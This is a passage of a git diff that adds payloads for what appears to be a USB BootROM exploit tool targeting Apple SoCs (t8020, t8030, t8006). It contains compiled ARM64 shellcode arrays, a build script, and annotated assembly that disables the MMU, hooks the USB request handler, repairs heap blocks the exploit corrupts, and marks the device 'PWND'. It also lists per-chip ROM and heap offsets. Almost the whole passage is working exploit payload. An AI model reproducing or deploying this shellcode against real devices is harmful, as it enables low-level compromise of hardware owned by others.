0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5, + 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0xa0, 0x13, 0x00, 0x58, + 0x1f, 0x00, 0x00, 0x91, 0x38, 0xff, 0xff, 0x10, 0x01, 0xe0, 0x87, 0xd2, + 0x00, 0x03, 0x01, 0x8b, 0xf6, 0x03, 0x00, 0xaa, 0xa1, 0x0e, 0x00, 0x10, + 0xc2, 0x12, 0x00, 0x10, 0x42, 0x00, 0x01, 0xcb, 0xc8, 0x11, 0x00, 0x58, + 0x00, 0x01, 0x3f, 0xd6, 0x01, 0x80, 0x87, 0xd2, 0x00, 0x03, 0x01, 0x8b, + 0xf8, 0x03, 0x00, 0xaa, 0x01, 0x00, 0x00, 0x90, 0x21, 0x80, 0x0c, 0x91, + 0x22, 0x00, 0x40, 0xb9, 0x21, 0x40, 0x00, 0x91, 0xa8, 0x10, 0x00, 0x58, + 0x00, 0x01, 0x3f, 0xd6, 0x60, 0x11, 0x00, 0x58, 0x81, 0x11, 0x00, 0x58, + 0x01, 0x00, 0x00, 0xf9, 0x9f, 0x3f, 0x03, 0xd5, 0x1f, 0x87, 0x08, 0xd5, + 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x1f, 0x75, 0x08, 0xd5, + 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5, + 0x00, 0x00, 0x40, 0xb2, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x01, 0x10, 0x00, 0x58, 0x38, 0x00, 0x00, 0xf9, + 0x00, 0x10, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9, 0x1f, 0x7c, 0x01, 0xa9, + 0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9, 0x41, 0x00, 0x80, 0x52, + 0x01, 0x20, 0x00, 0xb9, 0x81, 0x01, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9, + 0x01, 0x10, 0x80, 0x52, 0x01, 0x30, 0x00, 0xb9, 0xe1, 0x0e, 0x00, 0x58, + 0x01, 0x0c, 0x00, 0xf9, 0x60, 0x0d, 0x00, 0x58, 0x1f, 0x7c, 0x00, 0xa9, + 0x1f, 0x7c, 0x01, 0xa9, 0x1f, 0x7c, 0x02, 0xa9, 0x1f, 0x7c, 0x03, 0xa9, + 0x01, 0x0c, 0x00, 0xf9, 0x21, 0x04, 0x80, 0x52, 0x01, 0x20, 0x00, 0xb9, + 0x81, 0x80, 0x80, 0x52, 0x01, 0x28, 0x00, 0xb9, 0x01, 0x08, 0x81, 0x52, + 0x01, 0x30, 0x00, 0xb9, 0x61, 0x0d, 0x00, 0x18, 0x80, 0x0d, 0x00, 0x58, + 0x01, 0x00, 0x00, 0xb9, 0x80, 0x0d, 0x00, 0x58, 0x01, 0x00, 0x80, 0xd2, + 0x01, 0x00, 0x00, 0xb9, 0xf3, 0x04, 0x00, 0x10, 0x14, 0x06, 0x00, 0x10, + 0x35, 0x0d, 0x00, 0x58, 0x60, 0x86, 0x40, 0xf8, 0xa0, 0x02, 0x3f, 0xd6, + 0x7f, 0x02, 0x14, 0xeb, 0xa1, 0xff, 0xff, 0x54, 0xc0, 0x0c, 0x00, 0x58, + 0x21, 0x05, 0x00, 0x10, 0xe2, 0x0f, 0x80, 0xd2, 0xe3, 0x0f, 0x80, 0xd2, + 0x88, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x00, 0x0c, 0x00, 0x58, + 0x68, 0x0c, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x61, 0x0c, 0x00, 0x58, + 0x20, 0x00, 0x00, 0x39, 0xe0, 0x03, 0x00, 0x91, 0xff, 0x83, 0x02, 0xd1, + 0xe1, 0x03, 0x00, 0x91, 0x3f, 0x7c, 0x81, 0xa8, 0x1f, 0x00, 0x01, 0xeb, + 0xc1, 0xff, 0xff, 0x54, 0xa1, 0x0b, 0x00, 0x58, 0x21, 0x00, 0x40, 0xf9, + 0xe1, 0x0f, 0x00, 0xf9, 0x81, 0x0b, 0x00, 0x58, 0xe1, 0x3f, 0x00, 0xf9, + 0x81, 0x0b, 0x00, 0x58, 0xe1, 0x07, 0x00, 0xf9, 0x94, 0x0b, 0x00, 0x58, + 0xb5, 0x0b, 0x00, 0x58, 0x38, 0x00, 0x80, 0x52, 0x19, 0x08, 0x80, 0x52, + 0xfc, 0x03, 0x80, 0x52, 0xfa, 0x01, 0x80, 0x52, 0xc0, 0x02, 0x1f, 0xd6, + 0x1f, 0x20, 0x03, 0xd5, 0xc0, 0x8b, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x94, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x80, 0x94, 0x02, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x95, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0xc0, 0x95, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e, + 0x44, 0x3a, 0x5b, 0x75, 0x73, 0x62, 0x6c, 0x69, 0x74, 0x65, 0x72, 0x38, + 0x5d, 0x00, 0x00, 0x00, 0x1f, 0x20, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5, + 0x00, 0xf8, 0x7f, 0x92, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x60, 0x02, 0x00, 0x58, 0x81, 0x02, 0x00, 0x58, + 0x02, 0x90, 0x80, 0xd2, 0x88, 0x02, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, + 0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, + 0x20, 0x02, 0x00, 0x58, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x20, 0x40, 0x80, 0xd2, 0x00, 0xe1, 0x18, 0xd5, + 0xa0, 0x01, 0x00, 0x58, 0x20, 0x40, 0x18, 0xd5, 0x00, 0x20, 0x80, 0xd2, + 0x00, 0x40, 0x18, 0xd5, 0xe0, 0x03, 0x9f, 0xd6, 0x00, 0x80, 0x01, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x40, 0x76, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xd0, 0x0b, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x8d, 0x5b, 0xdd, 0x34, + 0x00, 0x00, 0x00, 0x00, 0x08, 0xc4, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xc0, 0x8b, 0x02, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x30, 0x40, 0x00, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0xe3, 0x86, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x68, 0x0c, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0xc0, 0x95, 0x02, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x68, 0x14, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x96, 0x02, 0x9c, 0x00, 0x00, 0x00, 0x00, 0x14, 0x0b, 0x10, 0x39, + 0x02, 0x00, 0x00, 0x00, 0x30, 0x40, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x64, 0xf6, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x58, 0xbc, 0x00, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x60, 0x0b, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x84, 0xd5, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x89, 0x00, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x84, 0x00, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0xec, 0xac, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xa8, 0x0b, 0x10, 0x39, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x39, 0x02, 0x00, 0x00, 0x00, + 0x70, 0x06, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0xad, 0xde, 0xad, 0xde, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +unsigned int shellcode_t8020_len = 816; diff --git a/resources/shellcode_t8030.h b/resources/shellcode_t8030.h new file mode 100644 index 0000000..fe03eb2 --- /dev/null +++ b/resources/shellcode_t8030.h @@ -0,0 +1,98 @@ +const unsigned char shellcode_t8030[] = { + 0xdf, 0x43, 0x03, 0xd5, 0xe0, 0x05, 0x00, 0x58, 0x1f, 0x00, 0x00, 0x91, + 0xe0, 0x05, 0x00, 0x58, 0x21, 0x00, 0xc0, 0xd2, 0x62, 0x00, 0xa0, 0xd2, + 0xc8, 0x05, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0x38, 0x00, 0x00, 0x94, + 0xe0, 0xfe, 0xff, 0x10, 0x81, 0x05, 0x00, 0x58, 0xa2, 0x05, 0x00, 0x58, + 0x42, 0x00, 0x01, 0xcb, 0x21, 0x00, 0x00, 0x8b, 0x80, 0x05, 0x00, 0x58, + 0xf3, 0x03, 0x00, 0xaa, 0x88, 0x04, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, + 0x01, 0x00, 0x00, 0x90, 0x21, 0x80, 0x11, 0x91, 0x22, 0x00, 0x40, 0xb9, + 0x21, 0x40, 0x00, 0x91, 0xc0, 0x04, 0x00, 0x58, 0xa8, 0x03, 0x00, 0x58, + 0x00, 0x01, 0x3f, 0xd6, 0x00, 0x10, 0x38, 0xd5, 0x00, 0xf8, 0x7f, 0x92, + 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, + 0x40, 0xfc, 0xff, 0x10, 0x00, 0x00, 0x20, 0x91, 0xc1, 0x03, 0x00, 0x58, + 0x02, 0x80, 0x80, 0xd2, 0xf4, 0x03, 0x00, 0xaa, 0x28, 0x02, 0x00, 0x58, + 0x00, 0x01, 0x3f, 0xd6, 0x1f, 0x75, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x00, 0x10, 0x38, 0xd5, 0x00, 0x00, 0x40, 0xb2, + 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, + 0xe0, 0x03, 0x13, 0xaa, 0x80, 0x02, 0x1f, 0xd6, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xe0, 0x01, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x70, 0x17, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x3b, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x00, 0xfc, 0x3b, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x7d, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x88, 0x1a, 0x8d, 0xd2, 0x28, 0x87, 0xb3, 0xf2, + 0x28, 0x00, 0xc0, 0xf2, 0x09, 0x0c, 0x80, 0x52, 0x09, 0x00, 0xa2, 0x72, + 0x09, 0x81, 0x0b, 0xb9, 0x09, 0x28, 0xb7, 0x52, 0x09, 0x85, 0x0b, 0xb9, + 0x09, 0x78, 0x80, 0x52, 0xe9, 0xcb, 0xba, 0x72, 0x09, 0x89, 0x0b, 0xb9, + 0x09, 0x00, 0x90, 0x52, 0xa9, 0x06, 0xa0, 0x72, 0x09, 0x8d, 0x0b, 0xb9, + 0x49, 0x04, 0x00, 0x10, 0x1f, 0x20, 0x03, 0xd5, 0x0a, 0x00, 0x9f, 0x52, + 0x4a, 0x00, 0xa0, 0x72, 0x49, 0x01, 0x09, 0x4b, 0x2a, 0x08, 0x00, 0x10, + 0x1f, 0x20, 0x03, 0xd5, 0xeb, 0xa9, 0x8e, 0x12, 0x4a, 0x01, 0x0b, 0x0b, + 0x4a, 0x01, 0x09, 0x0b, 0x0b, 0x80, 0xb2, 0x52, 0x0c, 0x80, 0xb2, 0x52, + 0x4c, 0x6d, 0x02, 0x33, 0x0c, 0x7d, 0x0c, 0xb9, 0x8a, 0x34, 0x8f, 0xd2, + 0x2a, 0x87, 0xb3, 0xf2, 0x2a, 0x00, 0xc0, 0xf2, 0x0c, 0x04, 0x80, 0x52, + 0x0c, 0x50, 0xaa, 0x72, 0x4c, 0x01, 0x00, 0xb9, 0x8a, 0x07, 0x00, 0x10, + 0x1f, 0x20, 0x03, 0xd5, 0x6c, 0x1a, 0x8d, 0x12, 0x4a, 0x01, 0x0c, 0x0b, + 0x49, 0x01, 0x09, 0x0b, 0x2b, 0x6d, 0x02, 0x33, 0x0b, 0x01, 0x00, 0xb9, + 0x08, 0x0f, 0x92, 0xd2, 0x68, 0x87, 0xb3, 0xf2, 0x28, 0x00, 0xc0, 0xf2, + 0xe9, 0x5b, 0x76, 0xb2, 0x49, 0x00, 0xa0, 0xf2, 0x09, 0x01, 0x00, 0xf9, + 0xc0, 0x03, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x10, 0x21, 0x04, 0x00, 0x58, + 0x00, 0x00, 0x01, 0xcb, 0x21, 0x00, 0xc0, 0xd2, 0x00, 0x00, 0x01, 0x8b, + 0x00, 0xc0, 0x18, 0xd5, 0x80, 0x0f, 0x00, 0x58, 0x1f, 0x00, 0x00, 0x91, + 0x7c, 0x00, 0x00, 0x94, 0x60, 0x02, 0x00, 0x58, 0x00, 0xa2, 0x18, 0xd5, + 0x60, 0x02, 0x00, 0x58, 0x40, 0x20, 0x18, 0xd5, 0xa0, 0x01, 0x00, 0x58, + 0x00, 0x20, 0x18, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0x1f, 0x87, 0x08, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, 0xdf, 0x3f, 0x03, 0xd5, + 0x80, 0x01, 0x00, 0x58, 0x00, 0x10, 0x18, 0xd5, 0x9f, 0x3f, 0x03, 0xd5, + 0xdf, 0x3f, 0x03, 0xd5, 0x28, 0x00, 0xc0, 0xd2, 0x00, 0x01, 0x1f, 0xd6, + 0x00, 0x80, 0x38, 0x9c, 0x01, 0x00, 0x00, 0x00, 0x04, 0xff, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x1c, 0xa5, 0x9c, 0x65, 0x01, 0x00, 0x00, 0x00, + 0x0d, 0x52, 0x8d, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x58, 0x00, 0x04, 0x40, 0xb2, + 0xc1, 0x00, 0x00, 0x58, 0x20, 0x00, 0x02, 0xf9, 0xc0, 0x03, 0x5f, 0xd6, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x38, 0x9c, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x9c, 0x01, 0x00, 0x00, 0x00, 0xf3, 0x53, 0xbf, 0xa9, + 0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0xf3, 0x03, 0x00, 0xaa, + 0x88, 0x01, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0xe0, 0x03, 0x13, 0xaa, + 0x61, 0x01, 0x00, 0x10, 0xe2, 0x0f, 0x80, 0x52, 0xe3, 0x0f, 0x80, 0x52, + 0xc8, 0x00, 0x00, 0x58, 0x00, 0x01, 0x3f, 0xd6, 0xfd, 0x7b, 0xc1, 0xa8, + 0xf3, 0x53, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6, 0x00, 0x00, 0x00, 0x00, + 0xf4, 0x16, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e, + 0x44, 0x3a, 0x5b, 0x75, 0x73, 0x62, 0x6c, 0x69, 0x74, 0x65, 0x72, 0x38, + 0x5d, 0x00, 0x00, 0x00, 0x20, 0x40, 0x38, 0xd5, 0x81, 0xfb, 0xff, 0x58, + 0x00, 0x00, 0x01, 0xcb, 0x21, 0x00, 0xc0, 0xd2, 0x00, 0x00, 0x01, 0x8b, + 0x20, 0x40, 0x18, 0xd5, 0xe0, 0x03, 0x9f, 0xd6, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xc5, 0xff, 0xff, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x01, 0x9c, + 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x80, 0xd2, 0xe9, 0xdc, 0x80, 0xd2, + 0x29, 0x87, 0xb3, 0xf2, 0x29, 0x00, 0xc0, 0xf2, 0x6b, 0x00, 0x98, 0xd2, + 0x0b, 0x87, 0xb3, 0xf2, 0x2b, 0x00, 0xc0, 0xf2, 0x6a, 0x01, 0x08, 0x8b, + 0x49, 0xd1, 0x1f, 0xf8, 0x08, 0x21, 0x00, 0x91, 0x29, 0x11, 0x40, 0x91, + 0x1f, 0x81, 0x01, 0xf1, 0x61, 0xff, 0xff, 0x54, 0x08, 0x00, 0x80, 0xd2, + 0x09, 0x00, 0x80, 0xd2, 0x0a, 0x80, 0x90, 0xd2, 0x0a, 0x87, 0xb3, 0xf2, + 0x2a, 0x00, 0xc0, 0xf2, 0x4b, 0x01, 0x00, 0xf9, 0x2b, 0x8d, 0x80, 0xd2, + 0x0b, 0x80, 0xb3, 0xf2, 0x2b, 0x00, 0xc0, 0xf2, 0x0b, 0x0c, 0xe0, 0xf2, + 0x4b, 0x39, 0x01, 0xf9, 0x2b, 0x8d, 0x80, 0xd2, 0x4b, 0x00, 0xc0, 0xf2, + 0x0b, 0x0c, 0xe0, 0xf2, 0x0c, 0x40, 0xa0, 0x52, 0x2d, 0x01, 0x0b, 0xaa, + 0x4e, 0x01, 0x08, 0x8b, 0xcd, 0x01, 0x02, 0xf9, 0x29, 0x01, 0x0c, 0x8b, + 0x08, 0x21, 0x00, 0x91, 0x1f, 0xc1, 0x07, 0xf1, 0x41, 0xff, 0xff, 0x54, + 0xc0, 0x03, 0x5f, 0xd6, 0xad, 0xde, 0xad, 0xde, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +unsigned int shellcode_t8030_len = 1136; diff --git a/t8020_t8006_shellcode/make.sh b/t8020_t8006_shellcode/make.sh new file mode 100755 index 0000000..236abef --- /dev/null +++ b/t8020_t8006_shellcode/make.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +set -e + +if [[ ! -n $TARGET ]]; then + echo "no TARGET specified!"; exit; +fi + +mkdir -p build + +clang -arch arm64 start.S -Wl,-segalign,0x10 -Wl,-preload -nostdlib -Itargets/$TARGET -o build/shellcode_$TARGET.o + +vmacho -f build/shellcode_$TARGET.o build/shellcode_$TARGET.bin + +echo -n "const " > ../resources/shellcode_$TARGET.h +xxd -i -n shellcode_$TARGET build/shellcode_$TARGET.bin >> ../resources/shellcode_$TARGET.h diff --git a/t8020_t8006_shellcode/start.S b/t8020_t8006_shellcode/start.S new file mode 100644 index 0000000..e125169 --- /dev/null +++ b/t8020_t8006_shellcode/start.S @@ -0,0 +1,249 @@ +#include + +.set handler_off, 0x3C00 +.set ret_tramp_off, 0x3F00 + +.text +.align 4 + +.globl start +start: + // disable MMU for now + mrs x0, sctlr_el1 + and x0, x0, #(~(1 << 0)) + msr sctlr_el1, x0 + + dsb sy + isb sy + + // switch stack + ldr x0, =NEW_SP + mov sp, x0 + + adr x24, start // boot trampoline base + + // copy return tramp to the end of tramp page + mov x1, ret_tramp_off + add x0, x24, x1 // destination - the end of the trampoline area + mov x22, x0 // save for later - we'll have to jump there in the end + + adr x1, trampoline // source - trampoline asm + adr x2, trampoline_end + sub x2, x2, x1 // size - trampoline length + + ldr x8, _memcpy + blr x8 + + // copy handler code as well + mov x1, handler_off + add x0, x24, x1 // destination - (almost) the end of the trampoline area + mov x24, x0 + + // I hate this assembler + // adr xN, text_addr - yay! + // adr xN, data_addr - nay! + adrp x1, handler_len@page + add x1, x1, handler_len@pageoff + + ldr w2, [x1] // size of our custom handler + + // this will be the actual handler text + add x1, x1, #0x10 + + ldr x8, _memcpy + blr x8 + + // make boot trampoline executable in all CPU modes, + // and switch it to Device memory (should get rid of all caching burden) + ldr x0, =BOOT_TRAMP_PTEP + ldr x1, =BOOT_TRAMP_PTE + str x1, [x0] + + // flush TLB + dsb sy + tlbi vmalle1 + dsb sy + isb sy + + // invalidate icache + ic iallu + dsb sy + isb sy + + // re-enable MMU again now that we are done copying code around + mrs x0, sctlr_el1 + orr x0, x0, #((1 << 0)) + msr sctlr_el1, x0 + + dsb sy + isb sy + + // set the callback addr + ldr x1, =USB_REQ_HANDLER_CB_ADDR + str x24, [x1] + + // fix that one corrupted block that we can't + // reliably overwrite in the exploit + ldr x0, =HEAP_BLOCK_TO_REPAIR_DMA + stp xzr, xzr, [x0, #0x0] + stp xzr, xzr, [x0, #0x10] + stp xzr, xzr, [x0, #0x20] + stp xzr, xzr, [x0, #0x30] + + mov w1, #0x2 // this_size + str w1, [x0, #0x20] + + mov w1, #0xc // prev_size + str w1, [x0, #0x28] + + mov w1, #0x80 // padding + str w1, [x0, #0x30] + + ldr x1, =HEAP_WHATEVER_THAT_IS + str x1, [x0, #0x18] + + // ...and actually another one, too, + // since it's overwritten by the ROP chain + // XXX move ROP chain inside the io_buffer? + ldr x0, =HEAP_BLOCK_TO_REPAIR_IO_BUF + stp xzr, xzr, [x0, #0x0] + stp xzr, xzr, [x0, #0x10] + stp xzr, xzr, [x0, #0x20] + stp xzr, xzr, [x0, #0x30] + + // already there + // ldr x1, =HEAP_WHATEVER_THAT_IS + str x1, [x0, #0x18] + + mov w1, #0x21 // this_size + str w1, [x0, #0x20] + + mov w1, #0x404 // prev_size + str w1, [x0, #0x28] + + mov w1, #0x840 // padding + str w1, [x0, #0x30] + + // gotta point USB DMA back where it belongs + ldr w1, =DMA_BUF_LO + ldr x0, =USB_DMA_DEST + str w1, [x0] + + // gotta reset *jump* state + ldr x0, =JUMP_STATE + mov x1, #0x0 + str w1, [x0] + + // fix corrupted heap blocks' checksum + adr x19, heap_blocks + adr x20, heap_blocks_end + ldr x21, =CALCULATE_HEAP_BLOCK_SUM + +heap_fix_loop: + ldr x0, [x19], #0x8 + blr x21 + cmp x19, x20 + bne heap_fix_loop + + // add PWND string to USB SN + ldr x0, =USB_SN_STR + adr x1, pwnd_str + mov x2, #127 + mov x3, #127 + ldr x8, =STRLCAT + blr x8 + + ldr x0, =USB_SN_STR + ldr x8, =USB_DESC_MAKE_STR + blr x8 + + ldr x1, =USB_DEV_DESC_SN_IDX + strb w0, [x1] + + // fix usb_task()'s stack frame & higher regs + // This is target-specific + #include + + // go to return trampoline + br x22 + +.balign 8 +heap_blocks: + #include +heap_blocks_end: + +pwnd_str: + .asciz " PWND:[usbliter8]" + +// this "return" trampoline is needed because we'd like +// to restore the original boot trampoline +.balign 16 +trampoline: + // disable MMU for now + mrs x0, sctlr_el1 + and x0, x0, #(~(1 << 0)) + msr sctlr_el1, x0 + + dsb sy + isb sy + + // copying the original trampoline back + ldr x0, _tramp_base + ldr x1, _rom_tramp + mov x2, ROM_TRAMP_LEN + ldr x8, _memcpy + blr x8 + + // invalidate icache + ic iallu + dsb sy + isb sy + + // set original SCTLR + ldr x0, _sctlr_val + msr sctlr_el1, x0 + + dsb sy + isb sy + + // this is set to a weird state in the jump() function + mov x0, #0x201 + msr CNTKCTL_EL1, x0 + + // where we return (inside usb_task()) + ldr x0, _elr_val + msr elr_el1, x0 + + // CPSR when we return + mov x0, 0x100 + msr spsr_el1, x0 + + eret + +.balign 8 +_tramp_base: + .8byte TRAMP_BASE + +_rom_tramp: + .8byte ROM_TRAMP + +_memcpy: + .8byte MEMCPY + +_sctlr_val: + .8byte 0x34DD5B8D + +_elr_val: + .8byte RETURN_TO_EL0_ADDR + +trampoline_end: + +// gotta move this into a separate segment, +// since otherwise constant pool will be +// at the end of the shellcode, and not this +.data +handler_len: + .4byte 0xDEADDEAD // populated dynamically by the exploit + +.balign 16 +handler_start: diff --git a/t8020_t8006_shellcode/targets/t8006/blocks.S b/t8020_t8006_shellcode/targets/t8006/blocks.S new file mode 100644 index 0000000..9312d07 --- /dev/null +++ b/t8020_t8006_shellcode/targets/t8006/blocks.S @@ -0,0 +1,5 @@ +.8byte 0x1801D8BC0 +.8byte 0x1801D9400 +.8byte 0x1801D9480 +.8byte 0x1801D9500 +.8byte 0x1801D95C0 diff --git a/t8020_t8006_shellcode/targets/t8006/cleanup.S b/t8020_t8006_shellcode/targets/t8006/cleanup.S new file mode 100644 index 0000000..7a13a73 --- /dev/null +++ b/t8020_t8006_shellcode/targets/t8006/cleanup.S @@ -0,0 +1,28 @@ +// t8006 pre-return cleanup code + mov x0, sp // old stack + sub sp, sp, 0xA0 // SP as it has to be inside the task routine + mov x1, sp // new stack + +stack_clear_loop: + stp xzr, xzr, [x1], #0x10 + cmp x0, x1 + bne stack_clear_loop + + // stack canary + ldr x1, =0x1801B84B8 + ldr x1, [x1] + str x1, [sp, #0x18] + + // set LR to expected place in task tramp + ldr x1, =0x10000AC38 + str x1, [sp, #0x78] + + ldr x1, =0x230100BA8 + str x1, [sp, #0x8] + + ldr x20, =0x230100000 + ldr x21, =0x1801BFE00 + mov w24, #1 + mov w25, #0x40 + mov w28, #0x1F + mov w26, #0xF diff --git a/t8020_t8006_shellcode/targets/t8006/offsets.h b/t8020_t8006_shellcode/targets/t8006/offsets.h new file mode 100644 index 0000000..325e244 --- /dev/null +++ b/t8020_t8006_shellcode/targets/t8006/offsets.h @@ -0,0 +1,31 @@ +// T8006 ROM +#define NEW_SP 0x1801D8BC0 + +#define MEMCPY 0x100010C10 +#define STRLCAT 0x100010BB8 + +#define CALCULATE_HEAP_BLOCK_SUM 0x10000F5EC + +#define TRAMP_BASE 0x1801C8000 +#define ROM_TRAMP 0x100007A00 +#define ROM_TRAMP_LEN 0x480 + +#define BOOT_TRAMP_PTEP 0x1801B4390 +#define BOOT_TRAMP_PTE 0x1801C86E3 + +#define DMA_BUF_LO 0x801D9600 +#define USB_DMA_DEST 0x230100B14 + +#define JUMP_STATE 0x1801C4030 + +#define HEAP_BLOCK_TO_REPAIR_DMA 0x1801D95C0 +#define HEAP_BLOCK_TO_REPAIR_IO_BUF 0x1801D8BC0 +#define HEAP_WHATEVER_THAT_IS 0x1801C0C78 + +#define USB_SN_STR 0x1801BB3D8 +#define USB_DEV_DESC_SN_IDX 0x1801B897A +#define USB_DESC_MAKE_STR 0x10000D510 + +#define USB_REQ_HANDLER_CB_ADDR 0x1801C03F8 + +#define RETURN_TO_EL0_ADDR 0x10000C370 diff --git a/t8020_t8006_shellcode/targets/t8020/blocks.S b/t8020_t8006_shellcode/targets/t8020/blocks.S new file mode 100644 index 0000000..151a2e9 --- /dev/null +++ 